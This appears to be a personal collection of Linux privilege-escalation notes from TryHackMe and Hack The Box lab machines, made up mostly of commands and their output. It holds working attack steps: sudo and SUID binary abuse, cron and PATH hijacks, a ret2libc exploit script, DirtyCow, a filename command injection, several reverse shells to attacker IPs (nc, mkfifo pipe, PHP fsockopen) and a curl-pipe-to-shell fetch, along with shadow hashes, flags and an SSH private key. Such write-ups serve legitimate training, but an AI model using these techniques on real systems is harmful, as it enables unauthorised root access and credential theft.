Linux privilage escalation techniques
SUID binaries for privilege escalation:
tryhackme linux priv esc arena:
Running sudo -l returns a few options of things we can run so we will find a way to exploit each one:
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TCM@debian:~$ sudo -l
Matching Defaults entries for TCM on this host:
env_reset, env_keep+=LD_PRELOAD
User TCM may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
Exploiting file as sudo:
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TCM@debian:~$ sudo find /bin -name nano -exec /bin/sh \;
sh-4.1# whoami
root
Exploiting awk as sudo:
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TCM@debian:~$ sudo awk 'BEGIN {system("/bin/sh")}'
sh-4.1# whoami
root
Exploiting nmap:
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TCM@debian:~$ echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
Starting Nmap 5.00 ( http://nmap.org ) at 2020-06-30 10:18 EDT
sh-4.1# whoami
root
Exploiting vim as sudo:
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:!sh
sh-4.1# whoami
root
Exploiting apache2 as sudo:
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TCM@debian:~$ sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::'
Then crack creds with john.
Crontab path exploit:
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TCM@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
TCM@debian:~$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
TCM@debian:~$ chmod +x /home/user/overwrite.sh
TCM@debian:~$ /tmp/bash -p
bash-4.1# whoami
root
little trick with crontab and getcap to get root:
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TCM@debian:~$ getcap -r / 2>/dev/null
TCM@debian:~$ /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian:~#
Using SUID envoronment variables:
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TCM@debian:~$ echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
TCM@debian:~$ gcc /tmp/service.c -o /tmp/service
TCM@debian:~$ export PATH=/tmp:$PATH
TCM@debian:~$ /usr/local/bin/suid-env
root@debian:~# whoami
root
we can also do:
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env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
bash-4.1# whoami
root
exploiting systemctl to gain a root shell - hack the box jarvis:
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pepper@jarvis:~$ find / -perm -4000 2> /dev/null
/bin/systemctl
Here we can see that our find command has picked up the binary systemctl. we check permissions for it by doing ls -la file and it is running as root.
The genral idea of systemctl is that it turns linux services on and off. What we have to do is create a new service and start it. As it will be running as root the service is started as root.
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pepper@jarvis:~$ echo '[Service]' > fieldraccoon.service
pepper@jarvis:~$ echo 'Type=oneshot' >> fieldraccoon.service
pepper@jarvis:~$ echo 'ExecStart=/bin/nc -e /bin/bash 10.10.xx.xx 1234' >> fieldraccoon.service
pepper@jarvis:~$ echo '[Install]' >> fieldraccoon.service
pepper@jarvis:~$ echo 'WantedBy=multi-user.target' >> fieldraccoon.service
We make our service file by using some help on GTFObins And on the service section we execute a reverse shell which will point to a listener and gain us the shell.
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pepper@jarvis:~$ systemctl enable /home/pepper/fieldraccoon.service
On our listener:
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nc -lvnp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.xx.xx
Ncat: Connection from 10.10.xx.xx:xxxx.
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
d41d8cd[redacted]
tryhackme pentest box:
The most simlpe priv esc with sudo -l to show us we can run anything as root so we can simply su.
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kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
kay@basic2:~$ sudo su root
root@basic2:/home/kay# whoami
root
openadmin htb - using nano to get a shell:
We run sudo -l as always when we are trying to priv esc to see if we can run anything as sudo.
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joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
In fact we can run something, we can use the text editor nano as root on teh file /opt/priv
We go on https://gtfobins.github.io/gtfobins/nano/ and read teh section on shell.
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nano
^R^X
reset; sh 1>&0 2>&0
There are two ways of doing it from here.
We can either use nano on the file then
^Rand then simply type/root/root.txtand teh flag pops up.Or we can get a shell by doing the above command involving
reset.
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Command to execute: reset; sh 1>&0 2>&0# ls
user.txte ^X Read File
# cd /root
# ls
root.txt
# type root.txt
root.txt: not found
# cat root.txt
2f907ed450b361b2c2bf4e8795d5b561
Exploiting logrotate with access logs - hack the box book
After running pspy we realise that logrotate is running as root.
After some reasearching we find a github that has an explpoit exploit.
Exploitation steps:
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reader@book:~$ cd /tmp
reader@book:/tmp$ mkdir shell
reader@book:/tmp$ cd shell
reader@book:/tmp/shell$ nano logrotten.c
reader@book:/tmp/shell$ gcc -o logrotten logrotten.c
reader@book:/tmp/shell$ nano payload
reader@book:/tmp/shell$ ./logrotten -p ./payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
payload file:
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php -r '$sock=fsockopen("10.10.xx.xx",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
we have to echo data to the logs file to make it rotate otherwise it wont do anything
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reader@book:~/backups$ cat access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
reader@book:~/backups$ echo "hi" > access.log
Note that it took a few attempts.
Then we get a connection back on our shell:
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kali@kali:~/boxes/book$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.176] 47712
# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsxp94IilXDxbAhMRD2PsQQ46mGrvgSPUh26lCE.........
Then we can ssh as root and read the root flag.
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kali@kali:~/boxes/book$ ssh -i root_rsa root@book.htb
root@book:~# cat /root/root.txt
84da92adf{...}
using jjs to priv esc - hack the box mango
When we get a shell on the box we run linenum.sh to check for anything interesting.
We run it and grep for sh to see if we have any SUID binaries that we can exploit and indeed we get one.
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admin@mango:/home/admin$ curl 10.10.14.11/LinEnum.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46108 100 46108 0 0 229k 0 --:--:-- --:--:-- --:--:-- 228k
-e
#########################################################
-e # Local Linux Enumeration & Privilege Escalation Script #
-e #########################################################
-e # www.rebootuser.com
-e # version 0.98
[...]
-e [+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18 18:21 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
After a few simple searches we find that we can execute commands with jjs and treat like a shell.
We exploit it below:
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admin@mango:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /tmp/fieldraccoon.txt').waitFor()
0
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /tmp/fieldraccoon.txt').waitFor()
0
jjs> admin@mango:/home/admin$ wc -c /tmp/fieldraccoon.txt
33 /tmp/fieldraccoon.txt
From this we can see that we succesfully copy the root flag into our tmp directory and are able to read it.
exploiting viewuser - hack the box irked:
When we connect to the box with our shell we enumerate and find an SUID binary by the name of `viewuser by running this command:
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find /usr/bin/ -perm -4000
This brings back /usr/bin/viewuser. we run the file to see what it is doing.
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viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2018-12-19 15:14 (:0)
djmardov pts/0 2018-12-19 15:15 (10.10.12.35)
djmardov pts/1 2018-12-19 15:15 (10.10.15.82)
djmardov pts/2 2018-12-19 15:15 (10.10.13.138)
djmardov pts/4 2018-12-19 15:16 (10.10.15.233)
djmardov pts/5 2018-12-19 15:16 (10.10.16.28)
djmardov pts/8 2018-12-19 15:17 (10.10.15.147)
djmardov pts/10 2018-12-19 15:22 (10.10.12.115)
djmardov pts/11 2018-12-19 15:23 (10.10.19.221)
sh: 1: /tmp/listusers: Permission denied
We can see here that it is looking for the file /tmp/listusers to execute but it cannot find it. so we will try insert malicious code into that file to hope to get execution.
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djmardov@irked:/tmp$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f" > /tmp/listusers
djmardov@irked:/tmp$ chmod 777 listusers
djmardov@irked:/tmp$ /usr/bin/viewuser
After this we setup our listener and get a connection with a root shell. We could also add cat /root/root.txt to the file or add /bin/bash, either option gives us the root flag its just preference wether you want a shell or not.
tryhackme lazy-admin box - sudo -l - perl priv-esc
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www-data@THM-Chal:/home/itguy$ sudo -l
sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
After checking the file backup.pl we can see that it is running this:
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cat /home/itguy/backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
We check privelages for the copy.sh file and it turns out that we can write to it.
We add a reverse shell to the file and execute it as root and we get a shell.
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www-data@THM-Chal:/home/itguy$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 1234 >/tmp/f" > /etc/copy.sh
< -i 2>&1|nc xx.xx.xx.xx 1234 >/tmp/f" > /etc/copy.sh
www-data@THM-Chal:/home/itguy$ sudo /usr/bin/perl /home/itguy/backup.pl
sudo /usr/bin/perl /home/itguy/backup.pl
And we setup a listener on our box and we get a connection!
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kali@kali:~/tryhackme$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.9.36.51] from (UNKNOWN) [10.10.87.188] 59192
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
THM{6637f41d0177b6f37cb20d775124699f}
Other:
Priv esc with mounting file system on docker:
Running id confirms that the user is part of a docker group, we will see if we can exploit this.
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spanishdancer@ariekei:~$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
spanishdancer@ariekei:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
waf-template latest 399c8876e9ae 2 years ago 628MB
bastion-template latest 0df894ef4624 2 years ago 251MB
web-template latest b2a8f8d3ef38 2 years ago 185MB
bash latest a66dc6cea720 2 years ago 12.8MB
convert-template latest e74161aded79 4 years ago 418MB
It shows that the user is part of the docker gorup, this is often used because they give access to users in a dedicated group to run commands as root for docker as docker needs root privelages, this makes priv esc simple as we simply use the docker image as a template to priv esc
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spanishdancer@ariekei:~$ docker run -v /:/rootexploit -i -t bash
bash-4.4# ls
bin etc lib mnt root run srv tmp var
dev home media proc rootexploit sbin sys usr
bash-4.4# cd rootexploit
bash-4.4# ls
bin dev home lib lost+found mnt proc run snap sys usr vmlinuz
boot etc initrd.img lib64 media opt root sbin srv tmp var
bash-4.4# cd root
bash-4.4# ls
root.txt
bash-4.4# cat root.txt
0385b6629b30f8a673f7bb279fb1570b
bash-4.4#
priv esc mounting backup image with password ciphertext key brute force -hack the box forward-slash:
When we enumerate we find a file where it seems to be the encryption method for a ciphertext. We can make a script to brute force this:
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ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165): # key length assuming that key is not greater than the length of encrypted ciphertext
for j in range(33, 127): # from ! to ~ (including all A-Z,a-z and 0-9)
key = chr(j) * i
msg = decrypt(key, ciphertext)
if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
exit("Key: {0}, Key length: {1}, Msg: {2}".format(key, len(key), msg))
When we run this we get a password along with a folder which we then take a loo at.
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/var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
This is also visible when running sudo -l
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User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
So knowing the password we then mount it with:
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sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
sudo /bin/mount /dev/mapper/backup ./mnt/
And then we can simply go the the mounted folder and find the root shh key inside, we then ssh as root and read the flag!
Git show on git logs to reveal a private ssh key - devOops box htb
as we ssh we find that there is a git directory in /home/roosa/work/blogfeed/.git we run git log to see if we find anything interesting and luckily we do.
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commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key
This means that the user had an old ssh key reverted(its the root ssh key) so we need to try and find a way to get this. We run git show 33e87c312c08735a02fa9c796021a4a3023129ad and it shows us the root key, We copy it to our box once again, give it appropriate permissions and ssh as root.
simple ret2libc exploit to get a root shell
We find an SUID binary in /home/ayush/.binary, its called rop we run it to see what it does, basically it just takes our input and outputs it. We do:
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./rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
And we see that it returns a seg fault so we have a buffer overflow vulnerability. We are going to do a ret2libc attack. GDB is not installed on the box so we download a static version and then upload it via a metpreter session. Theses are the exploitation steps:
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on our box:
gdb-peda$ pattern_create -l 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb rop
break *main
run AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
c
we get an address below the line that says segfault.
gdb-peda$ pattern_offset -q address_we_got
we will get an offset of 52
This shows us that the buffer overflows at 52 chars Now we need to get all the addresses so we will start with finding the /bin/sh in libc
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www-data@frolic:/home/ayush/.binary$ ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Also in gdb we do "p system" and "p exit" to find the addresses for system and exit
So now we have all our addresses:
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libc = 0xb7e19000
offset = 0x0015ba0b
/bin/sh = libc + offset = 0xb7f74a0b
system = 0xb7e53da0
exit = 0xb7e479d0
Now we have everything we need lets construct our script
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#!/usr/bin/python
import struct
buf = "A" * 52
system = struct.pack("I" ,0xb7e53da0)
exit = struct.pack("I" ,0xb7e479d0)
shell = struct.pack("I" ,0xb7f74a0b)
print buf + system + exit + shell
Then we simply run This command to exploit the binary and get a root shell and read the root flag:
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./rop `python /tmp/exploit.py`
root shell via php file execution as root - htb cronos:
By running linenum.sh on the system we find an interesting file on it called /etc/crontab.
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ww-data@cronos:/home/noulis$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
We can see that this file is being ran as root, lets see if we can exploit it.
We see that it is running /var/www/laravel/artisan as root with php meaning its a php file. Lets try and add a reverse shell to the file and see if it executes it.
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kali@kali:~$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
10.10.10.13 - - [27/Jun/2020 05:12:20] "GET /php-reverse-shell.php HTTP/1.1" 200 -
We setup a python server to host our rev-shell file(which is edited to include our ip and port)
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www-data@cronos:/tmp$ wget 10.10.14.7:8081/php-reverse-shell.php
wget 10.10.14.7:8081/php-reverse-shell.php
--2020-06-27 12:15:48-- http://10.10.14.7:8081/php-reverse-shell.php
Connecting to 10.10.14.7:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5492 (5.4K) [application/octet-stream]
Saving to: 'php-reverse-shell.php'
php-reverse-shell.p 100%[===================>] 5.36K --.-KB/s in 0.003s
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www-data@cronos:/tmp$
www-data@cronos:/var/www/laravel$ cp /tmp/php-reverse-shell.php artisan
cp /tmp/php-reverse-shell.php artisan
Now we just set up a listener on the specified port that we added in our shell file and wait for a connection.
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kali@kali:~$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.13] 46434
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
12:18:01 up 24 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
1703b8a3c9a8dde879942c79d02fd3a0
priv esc with journalctl - hack the box traverxec root:
We find an interesting file in bin called server-stats.sh so we run it to see what its doing.
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david@traverxec:~/bin$ bash server-stats.sh
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'
Load: 00:38:38 up 1 day, 5:31, 2 users, load average: 0.00, 0.00, 0.00
Open nhttpd sockets: 3
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Thu 2020-04-09 19:07:20 EDT, end at Sat 2020-04-11 00:38:38 EDT. --
Apr 10 23:47:54 traverxec sudo[4133]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/7 ruser=www-data rhost= user=www-data
Apr 10 23:47:56 traverxec sudo[4133]: pam_unix(sudo:auth): conversation failed
Apr 10 23:47:56 traverxec sudo[4133]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 10 23:47:56 traverxec sudo[4133]: www-data : command not allowed ; TTY=pts/7 ; PWD=/tmp ; USER=root ; COMMAND=list
Apr 10 23:47:56 traverxec crontab[4194]: (www-data) LIST (www-data)
we can see that it is outputting some kind of logs so we take a look at the file to see exactly what its doing.
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#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
We can see on the top line that it is reading the head for server-stats which is the ascii art and the copyright.
But at the bottom is the part that is running as root(sudo)
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/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
This tells us that we can run journalctl as root.
We can do a quick search on gtfobins which tells us that we can use it to execute a shell if our window is minimal.
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avid@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Thu 2020-04-09 19:07:20 EDT, end at Sat 2020-04-11 01:14:31 EDT. --
Apr 10 23:47:54 traverxec sudo[4133]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/7 ruser=www-data rhost= user=w
Apr 10 23:47:56 traverxec sudo[4133]: pam_unix(sudo:auth): conversation failed
Apr 10 23:47:56 traverxec sudo[4133]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 10 23:47:56 traverxec sudo[4133]: www-data : command not allowed ; TTY=pts/7 ; PWD=/tmp ; USER=root ; COMMAND=list
Apr 10 23:47:56 traverxec crontab[4194]: (www-data) LIST (www-data)
!/bin/bash
root@traverxec:/home/david#
After the script has executed we type !/bin/bash which will give us a shell.
Overall this wasnt the greatest way to do this as without gtfobins it required pure guesswork as the shell wouldnt work if the window wasn’t minimised.
Using dirtycow
we can test to see if the kernel for that machine is vulnrable by running an exploit suggestor and if it comes up with dirty cow we can abuse it like this:
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TCM@debian:~$ ./c0w
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 9ca4000
madvise 0
ptrace 0
TCM@debian:~$ whoami
TCM
TCM@debian:~$ id
uid=1000(TCM) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
TCM@debian:~$ passwd
root@debian:/home/user# id && whoami
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root
Using touch to make an executable file name - hack the box networed:
After gaining a shell we find a file which involves this interesting line:
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exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
we can see that the variable holds the name of a file and if we name it in a specific way we can try and execute code with it.
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touch ";nc ourip 1234 -c bash"
And then if we setup a listener on port 1234 with nc -nlvp 1234 we get a connection back on our listener.
priv esc with ssh-key cracking - tryhackme box
in this model priv esc we gain access to a user who can read other users ssh private keys but they are encrypted with a password. We crack the key with ssh2john and ssh into that user with the password it cracks.
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jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
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3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
From here we have the private ssh key. We transfer this to our box and run ssh2john followed by john to get our password. We then just simply ssh as the user and use the password that we cracked.
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kali@kali:~/tryhackme$ nano id_rs
kali@kali:~/tryhackme$ chmod 400 id_rs
kali@kali:~/tryhackme$ ssh kay@10.10.61.236
kay@10.10.61.236's password:
[3]+ Stopped ssh kay@10.10.61.236 <--- this shows us that the key needs a password
kali@kali:~/tryhackme$ sudo /home/kali/ssh2john.py id_rs > hash.hash
sudo: /home/kali/ssh2john.py: command not found
kali@kali:~/tryhackme$ sudo python /usr/share/john/ssh2john.py id_rs > hash
kali@kali:~/tryhackme$ cat hash
id_rs:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62e46b60a77e3cfc2e5bfe14c69db0d5d1be3c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36dd7d702400dfb74f9154e3d00454a049b599cb4c4070df59b18efd252d702a21a5f941f79731a70840e51608701396955798d946e01686edc557b350263e279f971eee37846e07d3594b8669d25a656c26f85046b05f44edf9529dea4ce1f8193469485640909d9dbfd4f9d45ab2ede8c6aca494a53674fb1e53bae5bcf02a6bacbea202bfc284db9d3ae446780aa8b431325948599c9ee32acb1137dcdbbe61cd555887a1642e0b4e7da972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6101628847150f684af5f25719f8e958d34570da834bdb129482d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6bbe697b8655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab94a1513137b6d4a68f9e2d856ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bffd21c114e7adb455858d4251fef118d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c5ba6d7e6cf9bf7978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f0918ec2b25985440c9318bdcf3b674cacbcea559fd5a714e51d38df94e2960fe8f98d53865dd907a434859811764864ccb2a6e18215d03448045febf90ac06a073800822b78a101028a6cef927e581705a1d76fa934a1c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d1616ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384c48c94cf3b946971210a40a220eb980809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbe6c79ea0dcfc6ae40be03238217213ab9b1a0873f8cbf9ed9b3d40dd0d0536365702a7452bf85301d84c4397621979cdc37b5b983f301af78655f352684c57799037f633a09b755ba0de9c017a73d76e0a8f46c4c33c4207358a8b408f1c52d8b8ca0378ba8ffcd224a125e5a0973c6997a6225e51007e600c22d3e24ebbc1e8bd8ff250eb32d44f4bd298ba27a3522215db0c3b89d49f2277cfedd74c3b59a1497936263826308f2e14cd363025aa7a5c39aa9a77b815dd10ff6ac9a5d8bda4074513f0fad3b6df926da5ca3c51f47479a8c271a60dab493fe78cadce92f3debe1c05ef72f3f194a36d23bfa3b0d4f0b8f04236d485be8d7d97dfb1c5de79613568d58f113308e8a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7bbedea3aae16daa3b29ccd8f9d98d53e97a1fbc0c1a2e701e5b7d7b224a4371358b02103e25b29c54138b8c4b7c9706967fe384b263c284ceb0336887e7da79e3c10d54d85689c0db4c379388b2138d0c40017fd2256aae3a2d21a93116a134d5f0ce8ce1fbf2c61509868c823fccdff62aca54796ff99aa5b0bc588af10537f26eccfa6962e595fbeac9df244f6cbaf6b77a11c